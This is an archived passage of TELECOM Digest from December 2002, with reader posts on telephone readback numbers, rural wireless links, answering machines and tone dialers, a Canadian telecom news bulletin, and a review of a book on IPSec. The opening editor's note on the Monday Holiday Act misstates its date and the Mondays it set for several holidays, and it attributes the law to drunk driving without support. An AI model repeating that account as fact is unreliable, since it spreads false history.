somewhat off-topic, but when did the ""Monday Holiday Act"" come into effect? [TELECOM Digest Editor's Note: Sometime in the 1970's. It turned out that Decoration (Memorial) Day had occurred on a Wednesday, I think. Companies and schools *only* gave the day off; they did not round it into a three or four day weekend like now. Nevertheless, people would get off work on Tuesday night (maybe a bit early) then proceed to drive four hundred miles down an expressway to visit their friends or family, stay for several hours and several drinks, then proceed to drive back home in a drunken stupor down the same very crowded expressway. Eight hundred miles of driving, several drinks and what- ever else all in a 24 hour period. That particular Memorial Day was especially bloody; I do not remember how many people were killed or maimed or paralyzed for life; it was especially gruesome. Anyway, Congress came back in to session after their own 24 hour stint of driving hundreds of miles and partying and drinking and more driving back home; they said that's it ... they had a long bitter argument about which holidays to relocate to Monday. Labor Day is *always* on the first Monday in September since it was originated in 1890. The other two principal holidays in the summer are Memorial Day and Independence Day. They decided the latter had too much 'history and significance' to change from July 4, but the former -- well, people's memories are too short anyway, it did not matter, so it was changed to the fourth Monday in May each year (whatever date that happens to be, so it can 'swing' between May 23 and May 30 each year. They also combined Presidents Wasington and Lincoln into one birthday, also the second Monday in February, since that was a reasonable compromise between February 14 and February 21 around which time both of them were born, and instead of having a holiday for each of them (business owners were getting annoyed at all the time off employees were getting), they put them together on a combined ocassion called 'Presidents Day' instead of two holidays as they had previously. Veterans Day (nee Armistace Day) in November was changed from November 11 (static date but variable day) to the second Monday in November. It all happened sometime in the middle 1970's. Congressional thinking was if the guys can slip out of work a bit early on Friday, they'll have all night to drive to wherever, get into a drunken orgy the rest of the night and all day Saturday/Saturday night, spend early Sunday sobering up and be able to drive *leisurly* -- not like drunken, orgy-crazed crazy people Sunday afternoon and evening and get back to work on Monday without killing several other motorists on the way. It has reduced holiday car accidents by a large percentage. PAT] ------------------------------ From: PaulCoxwell@aol.com Date: Sun, 1 Dec 2002 06:36:26 EST Subject: Re: N11 vs. 11X Service Codes > (and then went into _excellent_ detail of generic numbering/dialing > and switching/trunking situations in small and mid-size town locations > using SxS switching). > [TELECOM Digest Editor's Note: First, a hearty thank you to Mark Cuccia > for still another good report on old style phone service and how > things were done forty-plus years ago. Yes, thanks to you all for taking the time to post this information. I'm always interested in the historical development of the telephone system, and these details are most welcome. Paul Coxwell Norfolk, England. ------------------------------ From: Dominic Richens Subject: Re: Rural/Wireless Local Loop Date: Sun, 1 Dec 2002 08:15:25 -0500 Organization: Nortel Dana wrote: > ... So now we are looking at > having the service provider provide service at the end of the line > there, and we will chip in and buy some kind of radio/microwave radio > that will connect the houses. Anyone have any ideas. A search on Google for ""WiFi dish tin can"" turns up a few solutions using custom antennas for WiFi (802.11b - PC to PC) that work over 10 miles. http://www.geocities.com/lincomatic/index.html http://www.wwc.edu/~frohro/Airport/Primestar/Primestar.html These both require a clear line of sight. ------------------------------ Date: Sun, 1 Dec 2002 08:43:26 -0500 From: Ron Chapman Subject: Re: RIAA Orders US Navy to Surrender In article , John Higdon wrote: > RIAA's dream digital technology is a file format that is serialized > and can only be played on software that reports to and receives > permission to play tunes from a mothership. Perhaps they failed to notice the reception we all gave DIVX. They're stupid enough to think that they can make it happen, despite the odds against them. ------------------------------ From: Heidiangeline@aol.com Date: Sat, 30 Nov 2002 20:38:58 EST Subject: A Web Page to Visit Please consider www.hilltechmolding.com for a weblink on your website. Any consideration would be greatly appreciated. Thanks and have a wonderful DAY! [TELECOM Digest Editor's Note: I went over to look at your page and it is not something we use a lot of here. But I am sure there are some readers who might want to investigate plastic molded shapes for different styles of telepone covers, etc. Thanks for the opportunity to review it. PAT] ------------------------------ From: TELECOM Digest Editor Subject: Share Day for November Date: Sat, 30 Nov 2002 02:58:00 CST Its that time of the month again (the last day of the month and the first day of the new month) that I use to ask you to please, kindly remember TELECOM Digest and my expenses in getting this (mostly) spam free, reader-written moderated newsgroup out to you on a daily (often times several times daily) basis. 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Townson Telecom Update (Canada) #360, December 2, 2002 (Angus TeleManagement) Re: Rural/Wireless Local Loop (""Dana"") Re: Rural/Wireless Local Loop (John R. Levine) Re: Rural/Wireless Local Loop (AES/newspost) Book Review: ""IPSec: Securing VPNs"", Carlton Davis (Rob Slade) Re: Number Read Back Service (jt) Re: Number Read Back Service (Herb Stein) Re: Number Read Back Service (John Higdon) ---------------------------------------------------------------------- Date: Mon, 02 Dec 2002 10:17:21 -0500 From: Angus TeleManagement Subject: Telecom Update (Canada) #360, December 2, 2002 ************************************************************ TELECOM UPDATE ************************************************************ published weekly by Angus TeleManagement Group http://www.angustel.ca Number 360: December 2, 2002 Publication of Telecom Update is made possible by generous financial support from: ** BELL CANADA: http://www.bell.ca ** CISCO SYSTEMS CANADA: http://www.cisco.com/ca/letstalk ** CYGCOM INTEGRATED TECHNOLOGIES: http://www.cygcom.com ** ERICSSON CANADA: http://www.ericsson.ca ** JUNIPER NETWORKS: http://www.juniper.net ** PRIMUS CANADA: http://www.primustel.ca ** Q9 NETWORKS: http://www.Q9.com ** TELUS: http://www.telus.com ************************************************************ IN THIS ISSUE: ** John Macdonald Joins AT&T Canada ** Cablecos Want Foreign Ownership Limits Lifted ** Rogers, Call-Net Comment on AT&T Petition ** City of Ottawa Prepares Broadband Strategy ** RCMP Raids Satellite Dealers ** Bell Dealers Sue Bell ** Videotron Before CRTC Today ** 222 Applicants Seek Broadband Cash ** DBRS Downgrades Three Cablecos ** Aliant Business Line Rates Approved ** MTS Intros 1XRTT ** Telus Mobility Offers Prepaid Features ** Ottawa Seeks Extended Local Calling ** ePhone Opens Canadian Operation ** Telecom Service -- Bad and Getting Worse ============================================================ JOHN MACDONALD JOINS AT&T CANADA: John A. MacDonald has joined AT&T Canada as President and Chief Operating Officer, replacing Harry Truderung. MacDonald was President and COO of Bell Canada in the late 1990s. CABLECOS WANT FOREIGN OWNERSHIP LIMITS LIFTED: On November 28, the Canadian Cable Television Association told the Commons Committee on Canadian Heritage that foreign ownership limits should apply only to broadcast content providers, not distribution companies. Cable TV executives say they are prepared to structurally separate their ""content"" and ""carriage"" businesses. ** Friends of Canadian Broadcasting told the committee that raising foreign ownership limits would not benefit consumers but would result in ""a major payday"" for the four families that own the four largest Canadian cable TV companies. ROGERS, CALL-NET COMMENT ON AT&T PETITION: Call-Net and Rogers Communications have submitted separate comments on AT&T's petition to Cabinet (see Telecom Update #347). Neither fully supports the petition, but both want Cabinet to strengthen competition. ** Rogers says the Price Cap regime increases ILEC profits: Bell Canada will benefit by $130 million over four years, and will use these profits to keep prices low in competitive areas such as satellite TV. ** Call-Net says Cabinet should direct the CRTC to actively promote competition in all decisions. Call-Net wants higher retail prices, more ILEC services available to competitors on a cost-plus basis, and competitor access to ILEC OSS systems. http://strategis.ic.gc.ca/SSG/sf05987e.html CITY OF OTTAWA PREPARES BROADBAND STRATEGY: A draft Broadband Access Strategy for the City of Ottawa, released November 26, aims to make high-speed Internet service available to all city residents. The plan will be submitted to City Council in January, following six public consultation meetings. RCMP RAIDS SATELLITE DEALERS: On November 27, the RCMP raided seven satellite TV dealers in Saskatchewan, seizing equipment they say could be used to obtain illegal access to DirecTV, Dish Network, and Bell ExpressVu. Similar raids were conducted recently in Winnipeg and Montreal. ** Speaking to the International Institute of Communications last week, CRTC Chair Charles Dalfen called satellite piracy an ""epidemic,"" with up to 700,000 illegal users in Canada. He plans to meet with industry reps shortly to explore potential courses of action. BELL DEALERS SUE BELL: The owners of 233 Bell-branded independent retail stores are suing Bell Canada for $80 million. The dealers say Bell Mobility illegally and unfairly uses its direct and Internet sales channels to offer customers deals that aren't made available through the independent stores. VIDEOTRON BEFORE CRTC TODAY: At a CRTC hearing today, Videotron must show cause why the Commission should not issue a mandatory order requiring it to abide by Broadcasting Decision 2002-255 and pay $10 million in fees it owes to sports broadcaster RDS. (See Telecom Update #353) 222 APPLICANTS SEEK BROADBAND CASH: Industry Canada has received 222 applications in Round 1 of the competition for funding to develop business plans for broadband infrastructure deployment in their communities. (See Telecom Update #348) DBRS DOWNGRADES THREE CABLECOS: Dominion Bond Rating Service has cut its ratings for three cable companies. The credit agency now rates Shaw as triple-B (low), Cogeco as double-B (high), and Videotron as double-B (low). Rogers Cable remains at double-B (high). ALIANT BUSINESS LINE RATES APPROVED: CRTC Telecom Order 2002- 443 approves Aliant's application for new single-line and multi-line business rates and contracts in New Brunswick, Nova Scotia, and PEI, effective immediately. http://www.crtc.gc.ca/archive/ENG/Orders/2002/o2002-443.htm MTS INTROS 1XRTT: Manitoba Telecom Services has launched higher-speed 1XRTT wireless service in Winnipeg. The company says the technology provides mobile data communications at 86 Kbps, and may provide 144 Kbps in future. TELUS MOBILITY OFFERS PREPAID FEATURES: Telus Mobility has introduced prepaid cards for various PCS features, including voice mail, text messaging, and wireless games. OTTAWA SEEKS EXTENDED LOCAL CALLING: The City of Ottawa has asked Bell Canada, ""on a priority basis,"" to conduct an economic study to determine the cost of expanding local calling throughout all exchanges wholly or partly within Ottawa city limits. ePHONE OPENS CANADIAN OPERATION: ePhone Telecom, a Virginia- based company that provides Internet-based long distance has established a Canadian point of presence in Toronto, and begun offering prepaid calling services through Canadian dealers. TELECOM SERVICE - BAD AND GETTING WORSE: ""Across Canada, business customers report a significant deterioration in everything from order accuracy to on-time delivery to sales rep knowledge and helpfulness. And it's going to get worse."" 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The information and data included has been obtained from sources which we believe to be reliable, but Angus TeleManagement makes no warranties or representations whatsoever regarding accuracy, completeness, or adequacy. Opinions expressed are based on interpretation of available information, and are subject to change. If expert advice on the subject matter is required, the services of a competent professional should be obtained. ------------------------------ From: Dana Subject: Re: Rural/Wireless Local Loop Date: Sun, 1 Dec 2002 14:14:00 -0900 Organization: Posted via Supernews, http://www.supernews.com AES/newspost wrote in message news:siegman-A86E52.14204501122002@news.stanford.edu: > In article , > Dana wrote: >> Here is the deal. >> >> We have the phone company and cable company providing service to a >> business say three miles away. That is the end of the line for both the >> cable and phone company. Well there are about 30 families due east of >> the store, from one to ten miles away. >> Is there a way we can pool together and come up with a wireless/ >> microwave system that will tie us to the service at the business. Both >> the phone company and cable company have found it would be too >> expensive to lay cable, for so few people. So now we are looking at >> having the service provider provide service at the end of the line >> there, and we will chip in and buy some kind of radio/microwave radio >> that will connect the houses. Anyone have any ideas. > You might do a little looking into point to point optical (laser) links. > There are a bunch of startup companies in this field who are looking to > provide solutions for the ""last mile"" fiber optics problem, temporary > links or emergency communications between rooftops or skyscraper office > windows, and so on. The technology involved is actually quite simple, > especially at low data rates, with ranges from a few to perhaps 20 km > depending on the terrain, weather, required level of reliability, and > similar considerations. Thank you for the reply and the hint towards a company to look at. Yes I would be looking at a point to multipoint solution. Kind of like the LMDS or even AT&T project angel type of setup. The people in the area are paying around $60 a month for cellular service acting like a dial up service, I.E. unlimited local calls etc, they are also able to connect to the internet, but the speeds are very very slow, due to the type of coverage they have. They are on the very edge of system coverage, hence service is not quite the best they can have. I used to work in the wireless field, but where I am at now (Fairbanks) it is really small to have a lot of carriers. But I do know there are ways to give these guys better coverage then they are getting now. So what I want to do is show these people that they can pool together to help pay for the cost of extended reliable service into their area. John R. Levine wrote in message news:20021202043154.22126.qmail@xuxa.iecc.com ... >> Is there a way we can pool together and come up with a wireless/ >> microwave system that will tie us to the service at the business. > Depends what you want to do. There are point-to-point microwave > telephone repeaters intended for providing phone service in remote > points. I go to a summer camp on an island off the coast of New > Hampshire that uses them to get remote phone service from the mainland > 10 miles away. It has to be line of sight; I don't know how possible > it would be to daisy chain multiple units if you have a bunch of people > down the line. > For Internet data, you can go surprisingly long distances with WiFi > wireless and carefully aimed antennas, again needing line of sight. > You can definitely daisy chain those. >> Both the phone company and cable company have found it would be too >> expensive to lay cable, for so few people. > You might have a chat with your state public utililty commission. The > Universal Service Fund exists specifically to subsidize expensive rural > service like yours, and your telco should be able to take advantage of > it. Thanks John. ------------------------------ Date: 1 Dec 2002 23:31:54 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Rural/Wireless Local Loop Organization: I.E.C.C., Trumansburg NY USA > Is there a way we can pool together and come up with a wireless/ > microwave system that will tie us to the service at the business. Depends what you want to do. There are point-to-point microwave telephone repeaters intended for providing phone service in remote points. I go to a summer camp on an island off the coast of New Hampshire that uses them to get remote phone service from the mainland 10 miles away. It has to be line of sight; I don't know how possible it would be to daisy chain multiple units if you have a bunch of people down the line. For Internet data, you can go surprisingly long distances with WiFi wireless and carefully aimed antennas, again needing line of sight. You can definitely daisy chain those. > Both the phone company and cable company have found it would be too > expensive to lay cable, for so few people. You might have a chat with your state public utililty commission. The Universal Service Fund exists specifically to subsidize expensive rural service like yours, and your telco should be able to take advantage of it. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: AES/newspost Subject: Re: Rural/Wireless Local Loop Date: Sun, 01 Dec 2002 14:20:45 -0800 In article , Dana wrote: > Here is the deal. > We have the phone company and cable company providing service to a > business say three miles away. That is the end of the line for both the > cable and phone company. Well there are about 30 families due east of > the store, from one to ten miles away. > Is there a way we can pool together and come up with a wireless/ > microwave system that will tie us to the service at the business. Both > the phone company and cable company have found it would be too > expensive to lay cable, for so few people. So now we are looking at > having the service provider provide service at the end of the line > there, and we will chip in and buy some kind of radio/microwave radio > that will connect the houses. Anyone have any ideas. You might do a little looking into point to point optical (laser) links. There are a bunch of startup companies in this field who are looking to provide solutions for the ""last mile"" fiber optics problem, temporary links or emergency communications between rooftops or skyscraper office windows, and so on. The technology involved is actually quite simple, especially at low data rates, with ranges from a few to perhaps 20 km depending on the terrain, weather, required level of reliability, and similar considerations. The company I know the most about is Terabeam (http://www.terabeam.com). They may not be of direct interest to you because they're focused on the higher priced, high data rate, shorter range end of the market, but you could Google on them and go from there. ""Power tends to corrupt. Absolute power corrupts absolutely."" Lord Acton (1834-1902) ""Dependence on advertising tends to corrupt. Total dependence on advertising corrupts totally."" (today's equivalent) ------------------------------ From: Rob Slade Organization: Vancouver Institute for Research into User Date: Mon, 2 Dec 2002 08:00:16 -0800 Subject: Book Review: ""IPSec: Securing VPNs"", Carlton Davis BKIPSECS.RVW 20021001 ""IPSec: Securing VPNs"", Carlton Davis, 2001, 0-07-212757-0, U$49.99/C$79.95/UK#36.99 %A Carlton Davis carlton@cs.mcgill.ca %C 300 Water Street, Whitby, Ontario L1N 9B6 %D 2001 %G 0-07-212757-0 %I McGraw-Hill Ryerson/Osborne %O U$49.99/C$79.95/UK#36.99 800-565-5758 fax: 905-430-5020 %O http://www.amazon.com/exec/obidos/ASIN/0072127570/robsladesinterne %P 404 p. %T ""IPSec: Securing VPNs"" Chapter one is an overview of TCP/IP. The material is generally good, but does demonstrate a possible weakness of the book: we are provided with way too much information about a number of areas that are not relevant to IPSec. A similar overabundance of detail (and math) describes symmetric cryptography, in chapter two. Oddly, given the level of particulars in other areas, there is no analysis of the weakness of double DES (Data Encryption Standard). Operational specifics of the various AES (Advanced Encryption Standard) candidates are also included. The mathematical basis of asymmetric cryptography, in chapter three, is not explained as well as symmetric is. In dealing with hashes and message authentication codes, chapter four has lots of math and almost no other discussion. Chapter five provides extensive details about X.509 attribute fields, for digital certificates, and also has a bit of material on PGP (Pretty Good Privacy) and key recovery. The fields of LDAP (Lightweight Directory Access Protocol) are outlined in chapter six. Chapter seven finally talks, very briefly, about IPSec architecture, repeating (from chapter one) the specifics of the IP header, and mentioning some of the components of IPSec. Chapters eight, nine, and ten concentrate of the header structure of AH (Authentication Header), ESP (Encapsulating Security Payload), and ISAKMP (Internet Security Association Key Management Protocol) packets, albeit chapter ten also covers a bit of the handshaking process. There is very little discussion of strengths and weaknesses. There are lots of details related to IKE (Internet Key Exchange) in chapter eleven, but surprisingly little information about what it does or how it works. The header structure and options for the compression function, IPComp, are given in chapter twelve. Chapter thirteen is supposed to talk about implementation, but has a fairly generic example of a VPN and some screen shots from a commercial product. Overall, the book contains lots of technical details, but very little in the way of explanation, discussion, or analysis. You would probably learn just as much about IPSec by reading the RFCs themselves. copyright Robert M. Slade, 2002 BKIPSECS.RVW 20021001 rslade@vcn.bc.ca rslade@sprint.ca slade@victoria.tc.ca p1@canada.com Find book info victoria.tc.ca/techrev/ or sun.soci.niu.edu/~rslade/ Upcoming (ISC)^2 CISSP CBK review seminars (+1-888-333-4458): December 16, 2002 December 20, 2002 San Francisco, CA February 10, 2003 February 14, 2003 St. Louis, MO March 31, 2003 April 4, 2003 Indianapolis, IN ------------------------------ From: jt Subject: Re: Number Read Back Service Date: Mon, 2 Dec 2002 09:27:35 -0500 Organization: WorldCom Canada Ltd. News Reader Service Harbor Diver wrote in message news:telecom22.158.7@telecom-digest.org: > Digest Editor's Note: Good luck getting it. Most telcos keep >> Telco readback numbers typically only serve a comparatively small area. >> The advantage of having my own is that they work from any phone, >> anywhere. > Including blocked numbers? > [TELECOM Digest Editor's Note: 'Read back numbers' ONLY tell about the > phone presently being used. Usually you dial a number and the > equipment tells you what number you are calling from. Dialing *67 or > otherwise blocking your number would seem to defeat the purpose of > calling the service to begin with wouldn't it? PAT] I could see a use -- where a phone foreign (i.e. you do not control) to you has its number blocked in such a way as it cannot be un-blocked by a prefix (is this possible?). If you could call out on such a phone, you could then discover the number. [TELECOM Digest Editor's Note: Phones that are 'hardwired' blocked, or blocked by default (as opposed to using *67 on a case by case basis) can be unblocked on the same case by case basis; I think *87 is how to do it, or maybe *82. Read your local phone directory info pages for specific details. Anyway, I do not think 'blocking' occurs at that point when dialing into a *TELCO SPONSORED/PROVIDED* read back number, which is the only kind you could use if you had no idea what the number was; by being on premises for one reason or another and dialing into the telco-provided service. PAT] ------------------------------ From: Herb Stein Subject: Re: Number Read Back Service Date: Mon, 2 Dec 2002 15:02:28 -0600 Harbor Diver wrote in message news:telecom22.158.7@telecom-digest.org: > Today, Sat, 30 Nov 2002 12:42:48 -0800, Two Buddha read a post from > John Higdon , and determined his interest in > BURP. Where's my beer? Oh and: >> In article , >> nichols@cablenut.net (Ryan Nichols) wrote: >>> I used to have a number that I could call to get the number I am >>> dialing on with my butt set while I am working in a comm room. I have >>> since lost that number; are there any others out there? I've thought >>> about ust calling SWBell and GTE and requesting the information >>> again. I'm needing one for AR and TX. >> Telco number readbacks became so unreliable and mutable that I finally >> set up my own several years ago for my own private use. It has two >> versions: one using an ordinary directory number to read back CID and >> one (using an 800 number) that reads back ANI. Very handy. >> I notice that the venerable PacBell readback number has finally bit the >> dust here as well, however. >>> [TELECOM Digest Editor's Note: Good luck getting it. Most telcos keep >>> those numbers under tight security, and they change them every month >>> or two as well, making it very hard to find a working one all the >>> time. PAT] >> Telco readback numbers typically only serve a comparatively small area. >> The advantage of having my own is that they work from any phone, >> anywhere. > Including blocked numbers? > [TELECOM Digest Editor's Note: 'Read back numbers' ONLY tell about the > phone presently being used. Usually you dial a number and the > equipment tells you what number you are calling from. Dialing *67 or > otherwise blocking your number would seem to defeat the purpose of > calling the service to begin with wouldn't it? PAT] Here in St. Louis-land (Missouri) *67 does not interfere with the number announcement. Herb Stein The Herb Stein Group www.herbstein.com herb@herbstein.com 314 952-4601 ------------------------------ From: John Higdon Subject: Re: Number Read Back Service Organization: Green Hills and Cows Date: Sun, 01 Dec 2002 14:53:26 -0800 In article , Harbor Diver wrote: >> Telco readback numbers typically only serve a comparatively small area. >> The advantage of having my own is that they work from any phone, >> anywhere. > Including blocked numbers? Yes. The 800 number does not pay any attention to ""blocking"" since it reads back ANI, not CNID. The line used for CNID readback has Privacy Manager, so to even get to the machine, one has to get past the PM sentry, which gives a one-touch option to release the blocking. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ End of TELECOM Digest V22 #159 ****************************** >From editor@telecom-digest.org Mon Dec 2 17:16:51 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB2MGpS25079; Mon, 2 Dec 2002 17:16:51 -0500 (EST) Date: Mon, 2 Dec 2002 17:16:51 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212022216.gB2MGpS25079@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #160 TELECOM Digest Mon, 2 Dec 2002 17:15:00 EST Volume 22 : Issue 160 Inside This Issue: Editor: Patrick A. Townson Internet Society Announces Ed Juskevicius as New Chairman (Anne Shroeder) Re: Needed Feature For Answering Machine? (Danny Burstein) Re: Needed Feature For Answering Machine? (John R. Levine) Re: Needed Feature For Answering Machine? (Joseph) Re: Needed Feature For Answering Machine? (Rich Greenberg) Re: Is There a Dial Helper For When We Travel? (ken) Re: Is There a Dial Helper For When We Travel? (Joseph) Re: Is There a Dial Helper For When We Travel? (Al Gillis) Re: Number Read Back Service (Clarence Dold) Re: ""Grave Questions of Invasion of Privacy"" (John Higdon) Re: Cellular Calls to Toll-Free Directory Assistance (Steven J. Sobol) Re: RIAA Orders US Navy to Surrender (JDS) Re: RIAA Orders US Navy to Surrender (John Higdon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Anne Shroeder - ISOC Subject: Internet Society Announces Ed Juskevicius as New Chairman Date: Mon, 2 Dec 2002 12:38:45 -0500 Internet Society Announces Ed Juskevicius from Nortel Networks as New Chairman of Advisory Council WASHINGTON, D.C. - December 2, 2002 - The Internet Society (ISOC) today announced that telecommunications industry veteran Ed Juskevicius is the new chairman of the Society's Advisory Council. The Advisory Council represents ISOC's organization members, which include representatives from academic, research, and international organizations; service/equipment suppliers, content providers, government, and public interest groups. ""The Advisory Council is an important part of ISOC's structure and we are very fortunate to have someone of Ed's caliber chairing it. Ed has shown significant leadership within the council and we are looking forward to working with him in his new role,"" said Lynn St.Amour, ISOC CEO/President. Juskevicius -- currently senior manager, Technology and Standards, Nortel Networks -- has worked in the telecommunications industry since 1981, focusing on data communications products and standards for public carrier and private enterprise networks, including: ISDN, Frame Relay, ATM, xDSL and VoIP. His current interest areas include Security and Management aspects of networks and deployment of broadband Internet access technologies, as well as societal issues affecting how people use and benefit from the Internet - today and in the future. In discussing his new role with ISOC, he reminds us that we are still in the early days of Internet deployment and uptake, with much to be done before getting even 50% of humanity to benefit from the Net. ""Living in North America, it is all too easy to forget that most of the world has yet to experience the Internet, and yet very few of us (in our western households) had Net access just 5 years ago."" ""As members of ISOC, we need to be aware of all the issues, not just the technologies, needed for the Net to fulfill its ultimate potential. This is ambitious and will be a lightening rod as some believe it's unrealistic to expect global Net access for all,"" according to Juskevicius. ""As an Advisory Council, we need to continually ask ourselves 'What's next?' It is our mission is to explore issues impacting the Internet - such as education, public policy, standards, digital rights, privacy and security -- and recommend ways to resolve them. Given ISOC's strong base of organization members, and the caliber of the people on the Advisory Council, I am optimistic that we will help everyone to benefit from the Net,"" he explained. Contact: Julie Williams Phone: +703-326-9880, x111 ------------------------------ From: Danny Burstein Subject: Re: Needed Feature For Answering Machine? Date: Sun, 1 Dec 2002 22:34:38 UTC Organization: PANIX Public Access Internet and UNIX, NYC In aaronep@pacbell.net (Aaron Epstein) writes: > I have a friend that I phone each day. He is always happy to hear > from me. The problem is that he screens his calls and I have to > listen to the complete outgoing message before I can say who I am and he > then picks up the phone. > Is there any answering machine available that would allow me, if I am > given a code number, to say who I am without having to listen to the > outgoing message? well, the simplest thing would probably be to get your friend to change the outgoing message to something short and easy, like: good day. please leave your message. thank you or good day. you've reached [number]. please lv your msg. thank you. Alternatively, you might try hitting the "" # #"" or "" * "" key. Many (but certainly not all) answering machines use that as a break-through for this exact purpose. Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ Date: 1 Dec 2002 21:15:25 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Needed Feature For Answering Machine? Organization: I.E.C.C., Trumansburg NY USA > Is there any answering machine available that would allow me, if I > am given a code number, to say who I am without having to listen to > the outgoing message? Many machines, particularly digital ones, will stop the outgoing message and start recording if you press *, #, or occasionally 0. Try it -- his machine may already do that. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: Joseph Subject: Re: Needed Feature For Answering Machine? Date: Sun, 01 Dec 2002 18:49:15 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On 30 Nov 2002 15:39:47 -0800, aaronep@pacbell.net (Aaron Epstein) wrote: > I have a friend that I phone each day. He is always happy to hear > from me. The problem is that he screens his calls and I have to > listen to the complete outgoing message before I can say who I am and he > then picks up the phone. > Is there any answering machine available that would allow me, if I am > given a code number, to say who I am without having to listen to the > outgoing message? Most of the newer answering machines will let you press the star (*) or pound/hash/octothorpe (#) key to immediately go to message recording. If he's screening his calls he should be able to hear you leaving a message and newer machines will automatically cut out when he lifts the receiver to talk. Many people leave an instruction in their message at the beginning of their outgoing message letting people know if they want to leave a message immediately they can press the appropriate key. Replies are seldom read. Please reply in the group. ------------------------------ From: richgr@panix.com (Rich Greenberg) Subject: Re: Needed Feature For Answering Machine? Date: 2 Dec 2002 10:10:35 -0500 Organization: Organized? Me? In article , Aaron Epstein wrote: > I have a friend that I phone each day. He is always happy to hear > from me. The problem is that he screens his calls and I have to > listen to the complete outgoing message before I can say who I am and he > then picks up the phone. > Is there any answering machine available that would allow me, if I am > given a code number, to say who I am without having to listen to the > outgoing message? Some (not all) answering machines will recognize a TT digit and stop the OGM and switch to incoming immediately. My panasonics use ""*"" See if your friends TAD has such a feature. Rich Greenberg Work: Rich.Greenberg atsign worldspan.com +1 770-563-6656 N6LRT Marietta, GA, USA Play: richgr atsign panix.com +1 770-321-6507 Eastern time zone. I speak for myself & my dogs only. VM'er since CP-67 Canines:Val(Chinook,CGC,TT), Red & Shasta(Husky,(RIP)) Owner:Chinook-L Atlanta Siberian Husky Rescue. www.panix.com/~richgr/ Asst Owner:Sibernet-L ------------------------------ From: ken Subject: Re: Is There a Dial Helper For When We Travel? Date: Mon, 2 Dec 2002 10:32:51 -0000 Organization: ntlworld News Service Gail M. Hall wrote in message news:telecom22.158.5@telecom-digest.org: > I am getting to the point I find it hard to ""dial"" (press the number > keys) fast enough to suit SBC Ameritech. Those 11-digit numbers are > hard to remember. Sometimes I have to look back at a number when I'm > only part way through and before I can dial (press) the next number, I > am already getting the ""your call did not go through"" message. > Here is the situation. > We just got a prepaid calling card in the mail that would be handy to > use when we travel because you can use it from any phone. The > microscopic print does say there is a surcharge if used from a public > phone, but sometimes a person just wants to call from a friend's house > or something. > Well, to use a calling card like this, we have to dial the toll-free > number printed on the card (in very small print), then enter a PIN > consisting of 11 digits. Then it says we will be prompted with > instructions for dialing the number we want to call. > So, since most phones don't come with a little screen where you can > enter the numbers at your own pace and then hit Enter like on a > computer, the question is this: > Is there a dialer helper gizmo that a person could carry similar to a > palm-sized address-phonebook sort of thing where a person could enter > such numbers and then hold it up to the phone mouthpiece and press one > or two buttons and have it beep the tones into the telephone for us. There used to be such things. I had a ""Texas Instruments Phone Dialer"" about 10 years ago which I used for just this purpose. http://www.datamath.org/Personal/ProDialer.htm shows a similar one, and states that TI stopped making them after a few years. I believe some of the earlier pocket computers (Psion?) could also do this, but don't know if the facility is still available. > Has anyone thought about a smart phone card that can do the dialing > for us if we just put in one or two numbers instead of the 11-digit > told-free number plus the 11-digit PIN? How about a ""card reader / > number storer"" that we could carry. We could have a smaller PIN with > something like this so not just ANYONE could use it, but it would be > easier for people like me to use than what they have now when you have > to punch in all your own numbers and do it faster than we used to have > to. > One thing I really LIKE about the cell phones is the phone book built > into the phone. If there were a gadget similar to the cell phone > phonebook that could be used with a landline phone from anywhere, that > would be nice. I suspect that's what killed the demand for the dialers. I didn't need mine when I got a cell phone. ------------------------------ From: Joseph Subject: Re: Is There a Dial Helper For When We Travel? Date: Sun, 01 Dec 2002 18:58:35 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On Sat, 30 Nov 2002 23:14:38 -0500, Gail M. Hall wrote: > I am getting to the point I find it hard to ""dial"" (press the number > keys) fast enough to suit SBC Ameritech. Those 11-digit numbers are > hard to remember. Sometimes I have to look back at a number when I'm > only part way through and before I can dial (press) the next number, I > am already getting the ""your call did not go through"" message. > Here is the situation. > We just got a prepaid calling card in the mail that would be handy to > use when we travel because you can use it from any phone. The > microscopic print does say there is a surcharge if used from a public > phone, but sometimes a person just wants to call from a friend's house > or something. > Well, to use a calling card like this, we have to dial the toll-free > number printed on the card (in very small print), then enter a PIN > consisting of 11 digits. Then it says we will be prompted with > instructions for dialing the number we want to call. > So, since most phones don't come with a little screen where you can > enter the numbers at your own pace and then hit Enter like on a > computer, the question is this: > Is there a dialer helper gizmo that a person could carry similar to a > palm-sized address-phonebook sort of thing where a person could enter > such numbers and then hold it up to the phone mouthpiece and press one > or two buttons and have it beep the tones into the telephone for us. Such a device already exists. It's called a pocket tone dialer. The cheaper ones will only enter the tones as you punch them while holding to the transmitter end of the handset, but fancier ones will store strings of digits where you could enter a calling card PIN or bank account numbers, etc. Do a google search for ""pocket tone dialer."" One entry has one for ~$13 which will hold a 17 number string. There may be others that will hold longer strings. Replies are seldom read. Please reply in the group ------------------------------ From: Al Gillis Subject: Re: Is There a Dial Helper For When We Travel? Date: Sun, 1 Dec 2002 20:25:56 -0800 Organization: http://extra.newsguy.com Hi Gail ... Go see a Radio Shack (or perhaps Sharper Image or a Spencer store). Radio Shack used to have little dialer 